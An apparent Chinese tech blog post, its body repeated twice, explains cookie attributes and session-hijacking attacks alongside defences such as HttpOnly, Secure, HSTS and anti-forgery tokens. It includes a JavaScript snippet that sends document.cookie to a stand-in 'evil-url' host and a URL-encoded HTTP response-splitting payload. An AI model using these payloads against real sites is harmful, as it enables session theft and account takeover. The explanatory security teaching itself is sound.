kavy
- 浏览: 891692 次
- 性别:
- 来自: 上海
-
文章分类
最新评论
-
zzuliuli：
很实用，一直关注
mysql的执行计划 -
rxin2009：
你好,最近在解决redis数据同步的问题,找到了tedis,但 ...
taobao/tedis的redis集群 -
zhangping2056：
楼主接下来要考虑页面静态化与细节上面的东西了
Nginx与Redis解决高并发问题 -
XieFuQ：
Tomcat的重启shell脚本 -
jovinlee：
jovinlee 写道 jov ...
Tomcat的重启shell脚本
此篇文章的Presentation戳这里。
一、cookie的基本特性
如果不了解cookie，可以先到wikipedia上学习一下。
http request
浏览器向服务器发起的每个请求都会带上cookie：
Host: www.example.org
Cookie: foo=value1;bar=value2
Accept: */*
http response
服务器给浏览器的返回可以设置cookie：
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT
(content of page)
二、cookie有关的术语
session cookie
当cookie没有设置超时时间，那么cookie会在浏览器退出时销毁，这种cookie是session cookie。
persistent cookie/tracking cookie
设置了超时时间的cookie，会在指定时间销毁，cookie的维持时间可以持续到浏览器退出之后，这种cookie被持久化在浏览器中。很多站点用cookie跟踪用户的历史记录，例如广告类站点会使用cookie记录浏览过哪些内容，搜索引擎会使用cookie记录历史搜索记录，这时也可以称作tracking cookie，因为它被用于追踪用户行为。
secure cookie
服务器端设置cookie的时候，可以指定secure属性，这时cookie只有通过https协议传输的时候才会带到网络请求中，不加密的http请求不会带有secure cookie。设置secure cookie的方式举例：
Set-Cookie: foo=bar; Path=/; Secure
HttpOnly cookie
服务器端设置cookie的时候，也可以指定一个HttpOnly属性。
Set-Cookie: foo=bar; Path=/; HttpOnly
设置了这个属性的cookie在javascript中无法获取到，只会在网络传输过程中带到服务器。
third-party cookie
第三方cookie的使用场景通常是iframe，例如www.a.com潜入了一个www.ad.com的广告iframe，那么www.ad.com设置的cookie属于不属于www.a.com，被称作第三方cookie。
supercookie
cookie会从属于一个域名，例如www.a.com，或者属于一个子域，例如b.a.com。但是如果cookie被声明为属于.com会发生什么？这个cookie会在任何.com域名生效。这有很大的安全性问题。这种cookie被称作supercookie。浏览器做出了限制，不允许设置顶级域名cookie(例如.com，.net)和pubic suffix cookie(例如.co.uk，.com.cn)。现代主流浏览器都很好的处理了supercookie问题，但是如果有些第三方浏览器使用的顶级域名和public suffix列表有问题，那么就可以针对supercookie进行攻击啦。
zombie cookie/evercookie
僵尸cookie是指当用户通过浏览器的设置清除cookie后可以自动重新创建的cookie。原理是通过使用多重技术记录同样的内容(例如flash，silverlight)，当cookie被删除时，从其他存储中恢复。 evercookie是实现僵尸cookie的主要技术手段。 了解僵尸cookie和evercookie。
三、cookie有什么用
通常cookie有三种主要的用途。
session管理
http协议本身是是无状态的，但是现代站点很多都需要维持登录态，也就是维持会话。最基本的维持会话的方式是Base Auth，但是这种方式，用户名和密码在每次请求中都会以明文的方式发送到客户端，很容易受到中间人攻击，存在很大的安全隐患。所以现在大多数站点采用基于cookie的session管理方式：用户登陆成功后，设置一个唯一的cookie标识本次会话，基于这个标识进行用户授权。只要请求中带有这个标识，都认为是登录态。
个性化
cookie可以被用于记录一些信息，以便于在后续用户浏览页面时展示相关内容。典型的例子是购物站点的购物车功能。以前Google退出的iGoogle产品也是一个典型的例子，用户可以拥有自己的Google自定制主页，其中就使用了cookie。
user tracking
cookie也可以用于追踪用户行为，例如是否访问过本站点，有过哪些操作等。
四、cookie窃取和session劫持
本文就cookie的三种用途中session管理的安全问题进行展开。 既然cookie用于维持会话，如果这个cookie被攻击者窃取会发生什么？session被劫持！ 攻击者劫持会话就等于合法登录了你的账户，可以浏览大部分用户资源。
最基本的cookie窃取方式：xss漏洞
攻击一旦站点中存在可利用的xss漏洞，攻击者可直接利用注入的js脚本获取cookie，进而通过异步请求把标识session id的cookie上报给攻击者。
var img = document.createElement('img');
img.src ='http://evil-url?c='+ encodeURIComponent(document.cookie);
document.getElementsByTagName('body')[0].appendChild(img);
如何寻找XSS漏洞是另外一个话题了，自行google之。 防御 根据上面HttpOnly cookie的介绍，一旦一个cookie被设置为HttpOnly，js脚本就无法再获取到，而网络传输时依然会带上。也就是说依然可以依靠这个cookie进行session维持，但客户端js对其不可见。那么即使存在xss漏洞也无法简单的利用其进行session劫持攻击了。 但是上面说的是无法利用xss进行简单的攻击，但是也不是没有办法的。既然无法使用document.cookie获取到，可以转而通过其他的方式。下面介绍两种xss结合其他漏洞的攻击方式。
xss结合phpinfo页面
攻击 大家都知道，利用php开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息，其中就包括cookie信息。 如果开发者没有关闭这个页面，就可以利用xss漏洞向这个页面发起异步请求，获取到页面内容后parse出cookie信息，然后上传给攻击者。 phpinfo只是大家最常见的一种dump请求的页面，但不仅限于此，为了调试方便，任何dump请求的页面都是可以被利用的漏洞。 防御关闭所有phpinfo类dump request信息的页面。
XSS + HTTP TRACE = XST
这是一种古老的攻击方式，现在已经消失，写在这里可以扩展一下攻防思路。http trace是让我们的web服务器将客户端的所有请求信息返回给客户端的方法。其中包含了HttpOnly的cookie。如果利用xss异步发起trace请求，又可以获取session信息了。之所以说是一种古老的攻击方式，因为现代浏览器考虑到XST的危害都禁止了异步发起trace请求。另外提一点，当浏览器没有禁止异步发起trace的时代，很多开发者都关闭了web server的trace支持来防御XST攻击。但攻击者在特定的情况下还可以绕过，用户使用了代理服务器，而代理服务器没有关闭trace支持，这样又可以trace了。
HTTP Response Splitting
参考1
参考2
通常的XSS攻击都是把输入内容注入到response的content中，HTTP Response Splitting是一种针对header的注入。例如，一个站点接受参数做302跳转：
www.example.com/?r=http://baidu.com
request信息：
GET /example.com?r=http://baidu.com\r\n
HTTP/1.1\r\n
Host: example.com\r\n
\r\n
response:
HTTP/1.1 302 Found\r\n
Location: http://baidu.com\r\n
Content-Type: text/html\r\n
\r\n
这样页面就302跳转到百度了。攻击者利用r参数可以注入header，r参数不是简单的url，而是包含\r\n的header信息：
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
response变成了：
HTTP/1.1 302 Found\r\n
Location: \r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
X-XSS-Protection: 0\r\n
<html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>
Content-Type: text/html\r\n
\r\n
有两个攻击要点：
指定X=XSS-Protection: 0 ，关闭浏览器的xss保护机制。
注入脚本
防御 针对header的内容做过滤，不能漏掉\r\n，特别是Location，host，referrer等。说到底，这也是一种XSS攻击，只是攻击方式与普通的不太一样。针对header的攻击还可以做SQL注入等，防御的原则是对所有的输入进行sanitize，包括非用户输入的内容，比如referrer这种一般由浏览器带过来的信息，因为请求完全可以被伪造，未必来自浏览器。
网络监听(network eavesdropping/network sniffing)
以上是利用上层应用的特性的几种攻击方式，cookie不仅存在于上层应用中，更流转于请求中。上层应用获取不到后，攻击者可以转而从网络请求中获取。只要是未使用https加密的网站都可以抓包分析，其中就包含了标识session的cookie。当然，完成网络监听需要满足一定的条件，这又是另外一个话题了。常见的方式：
DNS缓存投毒攻击者把要攻击的域名的一个子域映射到攻击者的server，然后想办法让被攻击者访问这个server(XSS request、社会化攻击等)，请求中会带过来所有cookie（包括HttpOnly）。
中间人攻击常见的攻击方式是搭建免费wifi，把DHCP服务器指定为攻击者ip，在攻击者机器上可以收到所有请求，不仅可以获取cookie，还可以进行脚本注入。
代理服务器/VPN翻 墙用免费VPN？呵呵。
防御使用https。使用https协议的请求都被ssl加密，理论上不可破解，即便被网络监听也无法通过解密看到实际的内容。防御网络监听通常有两种方式：
信道加密
内容加密
https是加密信道，在此信道上传输的内容对中间人都是不可见的。但https是有成本的。内容加密比较好理解，例如对password先加密再传输。但是对于标识session的cookie这种标识性信息是无法通过内容加密得到保护的。那么，使用https的站点就可以高枕无忧了吗？事实上，一些细节上的处理不当同样会暴露出攻击风险。
https站点攻击：双协议
如果同时支持http和https，那么还是可以使用网络监听http请求获取cookie。 防御只支持https，不支持http。这样就好了吗？No.
https站点攻击：301重定向
例如www.example.com只支持https协议，当用户直接输入example.com（大部分用户都不会手动输入协议前缀），web server通常的处理是返回301要求浏览器重定向到https://www.example.com。这次301请求是http的！而且带了cookie，这样又将cookie明文暴露在网络上了。 防御1 把标识session的cookie设置成secure。上面提到的secure cookie，只允许在https上加密传输，在http请求中不会存在，这样就不会暴露在未加密的网络上了。 然后现实很残酷，很多站点根本无法做到所有的请求都走https。原因有很多，可能是成本考虑，可能是业务需求。 防御2 设置Strict-Transport-Security header，直接省略这个http请求！用户首次访问后，服务器设置了这个header以后，后面就会省略掉这次http 301请求。更多点此 乌云案例
思考
如果偷取cookie失败，无法session劫持，攻击者如何再发起攻击？劫持session的目的是拿到登录态，从而获得服务器授权做很多请求，例如账户变更。如果劫持不到session，也能够做授权请求不是也达到攻击的目的了？无需拿到session cookie，跨站发起请求就可以了，这就是CSRF！server通过把用户凭证存储在cookie以维持session，http/https协议每次访问都会自动传输cookie，协议上的缺陷是导致可进行CSRF攻击的根本原因！防御方式：使用anti-forgery token
一、cookie的基本特性
如果不了解cookie，可以先到wikipedia上学习一下。
http request
浏览器向服务器发起的每个请求都会带上cookie：
Host: www.example.org
Cookie: foo=value1;bar=value2
Accept: */*
http response
服务器给浏览器的返回可以设置cookie：
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT
(content of page)
二、cookie有关的术语
session cookie
当cookie没有设置超时时间，那么cookie会在浏览器退出时销毁，这种cookie是session cookie。
persistent cookie/tracking cookie
设置了超时时间的cookie，会在指定时间销毁，cookie的维持时间可以持续到浏览器退出之后，这种cookie被持久化在浏览器中。很多站点用cookie跟踪用户的历史记录，例如广告类站点会使用cookie记录浏览过哪些内容，搜索引擎会使用cookie记录历史搜索记录，这时也可以称作tracking cookie，因为它被用于追踪用户行为。
secure cookie
服务器端设置cookie的时候，可以指定secure属性，这时cookie只有通过https协议传输的时候才会带到网络请求中，不加密的http请求不会带有secure cookie。设置secure cookie的方式举例：
Set-Cookie: foo=bar; Path=/; Secure
HttpOnly cookie
服务器端设置cookie的时候，也可以指定一个HttpOnly属性。
Set-Cookie: foo=bar; Path=/; HttpOnly
设置了这个属性的cookie在javascript中无法获取到，只会在网络传输过程中带到服务器。
third-party cookie
第三方cookie的使用场景通常是iframe，例如www.a.com潜入了一个www.ad.com的广告iframe，那么www.ad.com设置的cookie属于不属于www.a.com，被称作第三方cookie。
supercookie
cookie会从属于一个域名，例如www.a.com，或者属于一个子域，例如b.a.com。但是如果cookie被声明为属于.com会发生什么？这个cookie会在任何.com域名生效。这有很大的安全性问题。这种cookie被称作supercookie。浏览器做出了限制，不允许设置顶级域名cookie(例如.com，.net)和pubic suffix cookie(例如.co.uk，.com.cn)。现代主流浏览器都很好的处理了supercookie问题，但是如果有些第三方浏览器使用的顶级域名和public suffix列表有问题，那么就可以针对supercookie进行攻击啦。
zombie cookie/evercookie
僵尸cookie是指当用户通过浏览器的设置清除cookie后可以自动重新创建的cookie。原理是通过使用多重技术记录同样的内容(例如flash，silverlight)，当cookie被删除时，从其他存储中恢复。 evercookie是实现僵尸cookie的主要技术手段。 了解僵尸cookie和evercookie。
三、cookie有什么用
通常cookie有三种主要的用途。
session管理
http协议本身是是无状态的，但是现代站点很多都需要维持登录态，也就是维持会话。最基本的维持会话的方式是Base Auth，但是这种方式，用户名和密码在每次请求中都会以明文的方式发送到客户端，很容易受到中间人攻击，存在很大的安全隐患。所以现在大多数站点采用基于cookie的session管理方式：用户登陆成功后，设置一个唯一的cookie标识本次会话，基于这个标识进行用户授权。只要请求中带有这个标识，都认为是登录态。
个性化
cookie可以被用于记录一些信息，以便于在后续用户浏览页面时展示相关内容。典型的例子是购物站点的购物车功能。以前Google退出的iGoogle产品也是一个典型的例子，用户可以拥有自己的Google自定制主页，其中就使用了cookie。
user tracking
cookie也可以用于追踪用户行为，例如是否访问过本站点，有过哪些操作等。
四、cookie窃取和session劫持
本文就cookie的三种用途中session管理的安全问题进行展开。 既然cookie用于维持会话，如果这个cookie被攻击者窃取会发生什么？session被劫持！ 攻击者劫持会话就等于合法登录了你的账户，可以浏览大部分用户资源。
最基本的cookie窃取方式：xss漏洞
攻击一旦站点中存在可利用的xss漏洞，攻击者可直接利用注入的js脚本获取cookie，进而通过异步请求把标识session id的cookie上报给攻击者。
var img = document.createElement('img');
img.src ='http://evil-url?c='+ encodeURIComponent(document.cookie);
document.getElementsByTagName('body')[0].appendChild(img);
如何寻找XSS漏洞是另外一个话题了，自行google之。 防御 根据上面HttpOnly cookie的介绍，一旦一个cookie被设置为HttpOnly，js脚本就无法再获取到，而网络传输时依然会带上。也就是说依然可以依靠这个cookie进行session维持，但客户端js对其不可见。那么即使存在xss漏洞也无法简单的利用其进行session劫持攻击了。 但是上面说的是无法利用xss进行简单的攻击，但是也不是没有办法的。既然无法使用document.cookie获取到，可以转而通过其他的方式。下面介绍两种xss结合其他漏洞的攻击方式。
xss结合phpinfo页面
攻击 大家都知道，利用php开发的应用会有一个phpinfo页面。而这个页面会dump出请求信息，其中就包括cookie信息。 如果开发者没有关闭这个页面，就可以利用xss漏洞向这个页面发起异步请求，获取到页面内容后parse出cookie信息，然后上传给攻击者。 phpinfo只是大家最常见的一种dump请求的页面，但不仅限于此，为了调试方便，任何dump请求的页面都是可以被利用的漏洞。 防御关闭所有phpinfo类dump request信息的页面。
XSS + HTTP TRACE = XST
这是一种古老的攻击方式，现在已经消失，写在这里可以扩展一下攻防思路。http trace是让我们的web服务器将客户端的所有请求信息返回给客户端的方法。其中包含了HttpOnly的cookie。如果利用xss异步发起trace请求，又可以获取session信息了。之所以说是一种古老的攻击方式，因为现代浏览器考虑到XST的危害都禁止了异步发起trace请求。另外提一点，当浏览器没有禁止异步发起trace的时代，很多开发者都关闭了web server的trace支持来防御XST攻击。但攻击者在特定的情况下还可以绕过，用户使用了代理服务器，而代理服务器没有关闭trace支持，这样又可以trace了。
HTTP Response Splitting
参考1
参考2
通常的XSS攻击都是把输入内容注入到response的content中，HTTP Response Splitting是一种针对header的注入。例如，一个站点接受参数做302跳转：
www.example.com/?r=http://baidu.com
request信息：
GET /example.com?r=http://baidu.com\r\n
HTTP/1.1\r\n
Host: example.com\r\n
\r\n
response:
HTTP/1.1 302 Found\r\n
Location: http://baidu.com\r\n
Content-Type: text/html\r\n
\r\n
这样页面就302跳转到百度了。攻击者利用r参数可以注入header，r参数不是简单的url，而是包含\r\n的header信息：
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
response变成了：
HTTP/1.1 302 Found\r\n
Location: \r\n
HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
X-XSS-Protection: 0\r\n
<html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>
Content-Type: text/html\r\n
\r\n
有两个攻击要点：
指定X=XSS-Protection: 0 ，关闭浏览器的xss保护机制。
注入脚本
防御 针对header的内容做过滤，不能漏掉\r\n，特别是Location，host，referrer等。说到底，这也是一种XSS攻击，只是攻击方式与普通的不太一样。针对header的攻击还可以做SQL注入等，防御的原则是对所有的输入进行sanitize，包括非用户输入的内容，比如referrer这种一般由浏览器带过来的信息，因为请求完全可以被伪造，未必来自浏览器。
网络监听(network eavesdropping/network sniffing)
以上是利用上层应用的特性的几种攻击方式，cookie不仅存在于上层应用中，更流转于请求中。上层应用获取不到后，攻击者可以转而从网络请求中获取。只要是未使用https加密的网站都可以抓包分析，其中就包含了标识session的cookie。当然，完成网络监听需要满足一定的条件，这又是另外一个话题了。常见的方式：
DNS缓存投毒攻击者把要攻击的域名的一个子域映射到攻击者的server，然后想办法让被攻击者访问这个server(XSS request、社会化攻击等)，请求中会带过来所有cookie（包括HttpOnly）。
中间人攻击常见的攻击方式是搭建免费wifi，把DHCP服务器指定为攻击者ip，在攻击者机器上可以收到所有请求，不仅可以获取cookie，还可以进行脚本注入。
代理服务器/VPN翻 墙用免费VPN？呵呵。
防御使用https。使用https协议的请求都被ssl加密，理论上不可破解，即便被网络监听也无法通过解密看到实际的内容。防御网络监听通常有两种方式：
信道加密
内容加密
https是加密信道，在此信道上传输的内容对中间人都是不可见的。但https是有成本的。内容加密比较好理解，例如对password先加密再传输。但是对于标识session的cookie这种标识性信息是无法通过内容加密得到保护的。那么，使用https的站点就可以高枕无忧了吗？事实上，一些细节上的处理不当同样会暴露出攻击风险。
https站点攻击：双协议
如果同时支持http和https，那么还是可以使用网络监听http请求获取cookie。 防御只支持https，不支持http。这样就好了吗？No.
https站点攻击：301重定向
例如www.example.com只支持https协议，当用户直接输入example.com（大部分用户都不会手动输入协议前缀），web server通常的处理是返回301要求浏览器重定向到https://www.example.com。这次301请求是http的！而且带了cookie，这样又将cookie明文暴露在网络上了。 防御1 把标识session的cookie设置成secure。上面提到的secure cookie，只允许在https上加密传输，在http请求中不会存在，这样就不会暴露在未加密的网络上了。 然后现实很残酷，很多站点根本无法做到所有的请求都走https。原因有很多，可能是成本考虑，可能是业务需求。 防御2 设置Strict-Transport-Security header，直接省略这个http请求！用户首次访问后，服务器设置了这个header以后，后面就会省略掉这次http 301请求。更多点此 乌云案例
思考
如果偷取cookie失败，无法session劫持，攻击者如何再发起攻击？劫持session的目的是拿到登录态，从而获得服务器授权做很多请求，例如账户变更。如果劫持不到session，也能够做授权请求不是也达到攻击的目的了？无需拿到session cookie，跨站发起请求就可以了，这就是CSRF！server通过把用户凭证存储在cookie以维持session，http/https协议每次访问都会自动传输cookie，协议上的缺陷是导致可进行CSRF攻击的根本原因！防御方式：使用anti-forgery token
分享到：
发表评论
-
Spring Boot 架构
2020-06-03 09:54 0架构实战篇（一）：Spring Boot 整合MyB ... -
Redis单线程的正确理解
2020-06-02 09:27 361很多同学对Redis的单线 ... -
SpringBoot2.x整合线程池（ThreadPoolTaskExecutor）
2020-05-26 18:39 1083JAVA && Spring & ... -
浅析springboot自动配置原理
2020-05-26 15:48 358梦里寻他千百度—— ... -
使用redis管道(pipeline)实现批量查询,批量修改
2020-04-23 08:48 2879Pipeline：“管道”，和很多设计模式中的“管道”具有 ... -
Idea快捷键大全
2019-12-24 16:12 393Ctrl 快捷键介绍 Ctrl + ... -
图解Tomcat类加载机制
2019-10-18 09:39 0https://www.cnblogs.com/aspira ... -
kafka查询和修改topic的offset
2019-09-25 08:59 0查询topic的offset的范围 用下面命令可以查询到t ... -
kafka基本原理介绍，以及重新选举，replica复制机制，isr等
2019-09-24 17:13 0https://blog.csdn.net/dshf_1/ ... -
Zookeeper 在 Kafka 中的作用
2019-09-24 16:13 0leader 选举 和 follower 信息同步 ... -
netty4多连接客户端设计与实现
2019-09-22 21:16 0版权声明：本文为博主原创文章，遵循 CC 4.0 BY-S ... -
数据一致性
2019-09-10 08:35 0缓存与数据库的数据 ... -
JVM GC原理
2019-09-06 09:22 0https://www.cnblogs.com/yy3b ... -
分布式存储系统概要
2019-09-05 09:07 0http://witchiman.top/2017/05/0 ... -
Kafka 0.11.0.0 是如何实现 Exactly-once 语义的
2019-09-04 09:42 0https://www.jianshu.com/p/5d88 ... -
分布式系统的经典基础理论
2019-09-02 14:11 0历史优质文章： 可能是最漂亮的Spring事务管理详解 ... -
分布式系统的经典基础理论——中心化与去中心化
2019-09-02 10:18 0分布式系统从诞生发展到现在已经走过十几个年头了，其中伴随着一 ... -
服务注册中心，Eureka与Zookeeper比较
2019-09-02 10:17 01. 前言 服务注册中心，给客户端提供可供调用的服 ... -
Redis分布式锁
2019-08-30 17:33 0http://www.redis.cn/topics/di ... -
Springboot-Redis分布式锁
2019-08-30 17:30 0随着现在分布式架构越 ...
相关推荐
标题中的“8_cookie和session1”暗示我们将讨论的是Web开发中的两种重要技术——Cookie和Session。...在实际开发中，开发者通常会结合两者，利用Cookie的便利性和Session的安全性，来实现最佳的用户体验和安全性。
- **第三方登录风险**：注意第三方平台的接口变更和安全策略，确保用户信息的安全。 ### 示例代码文件`ylogin` 在提供的`ylogin`压缩包中，可能包含实现SSO和第三方登录的示例代码，包括登录页面、验证逻辑、与第...
4. **安全性**：Session ID的安全性至关重要，防止被窃取导致会话劫持。避免在URL中传递Session ID，以免被第三方捕获。 5. **性能考虑**：大量并发用户可能导致Session内存压力增大，可采用Session复制或Session...
- 为了兼顾性能和安全性，通常会结合使用Session和Cookie。例如，使用Cookie存储Session ID，以此减少服务器内存占用，同时利用服务器端存储提高安全性。 5. **学习资源** - 参考视频：[BV1s4411z7zq]...
这些发现表明，尽管有HTTPS等安全措施，Deep-Web网站仍需加强Cookie管理和安全策略，例如缩短Cookie有效期、启用多因素认证、限制Cookie在特定网络环境下的使用等，以降低Cookie劫持带来的风险。同时，用户也需要...
8. **最佳实践：** 如何正确设置Cookie的生命周期，何时使用Session，何时使用Cookie，以及如何防止Session劫持和跨站脚本攻击。 9. **性能考虑：** 大量用户同时使用Session可能会影响服务器性能，因此需要合理...
但攻击者仍可能通过中间人攻击或其他方式窃取Session ID。 2. **使用SSL/TLS**：通过启用HTTPS，可以确保数据在客户端和服务器间传输时加密，降低被截获的风险。SSL/TLS为HTTP提供了安全层，保护了包括Session ID...
1. **Session劫持**：攻击者通过获取受害者的Session ID Cookie来接管其在线会话。一旦成功，攻击者可以像受害者一样在网站上进行操作，如查看个人信息、转账或执行其他敏感操作。 2. **跨站脚本（XSS）攻击**：攻击...
2. **浏览器Cookie机制**：Cookie是Session ID在客户端的主要存储方式，了解其生命周期、作用域和安全性。 3. **跨窗口Session共享问题**：探讨为何会出现这种问题，可能是由于浏览器的默认设置或特定的编程实现。 ...
在网页开发中，Session是一个非常重要的概念，尤其是在ASP.NET框架下。它允许开发者在用户浏览器的不同请求之间存储和检索数据，以...开发者应根据具体场景选择合适的Session策略，并持续关注Session管理的性能和安全。
当用户访问网站时，服务器会为每个用户创建一个唯一的Session ID，并通过Cookie将其发送回客户端。之后，客户端每次请求时都会带上这个Session ID，服务器根据ID找到对应的Session数据，从而识别出用户。 在...
总的来说，基于Session ID和Session ticket的会话恢复都是为了提供无缝的用户体验，同时平衡性能和安全性。Wireshark作为强大的网络封包分析工具，可以帮助我们深入了解这些过程，提升对网络安全的理解。通过分析抓...
1. 使用HTTPS：加密通信，减少在传输过程中被窃取SESSION ID的风险。 2. 随机化SESSION ID：每次用户登录后生成新的SESSION ID，增加猜测难度。 3. 设置SESSION cookie为HttpOnly：阻止JavaScript脚本访问SESSION ID...
例如，攻击者可能会尝试窃取`session`ID来进行会话劫持。为了避免这类问题，通常会采取一些安全措施，如使用HTTPS加密传输、设置`cookie`的安全属性等。 #### 实现细节 - **持久化存储**：除了内存之外，`session`...
- 安全性：`session`比`cookie`更安全，因为会话数据存储在服务器端，而`cookie`存储在客户端，容易被窃取。 - 存储量：`session`可以存储大量数据，而`cookie`受限于大小（通常4KB）和数量（每个域限制20个）。 - ...
【标签】"jimmy留言簿"标签明确了这个项目的主题，表明它是一个与Web开发和安全相关的项目，特别是针对Cookie管理和安全的教学资源。 【压缩包子文件的文件名称列表】：1637_jimmylyb108.zip 文件可能包含了jimmy...
"Session实现登录工程"就是这样一个主题，它涉及到如何利用session技术来处理用户的登录状态，确保用户的安全性和操作的合法性。接下来，我们将深入探讨session的工作原理、在登录工程中的应用以及与数据库交互的增...
6. session/cookie管理：不安全的session和cookie管理可能导致会话劫持、会话固定等安全问题。正确设置cookie属性（如HttpOnly和Secure），使用HTTPS协议，定期刷新session ID，以及限制会话时间，都是保护用户会话...
总的来说，理解和防范伪造Cookie是保护网络安全的重要一环。开发人员需要时刻关注潜在的安全风险，并采取适当的措施来加固应用。通过学习和实践，我们可以更好地应对这类威胁，提升应用程序的安全性。
在IT安全领域，尤其是Web应用安全，理解和防范各种漏洞至关重要。这个PHP开发漏洞环境提供了...同时，"靶场"环境通常提供了一种安全的实验环境，让开发者和安全专家可以在不影响实际系统的前提下，提升安全防护技能。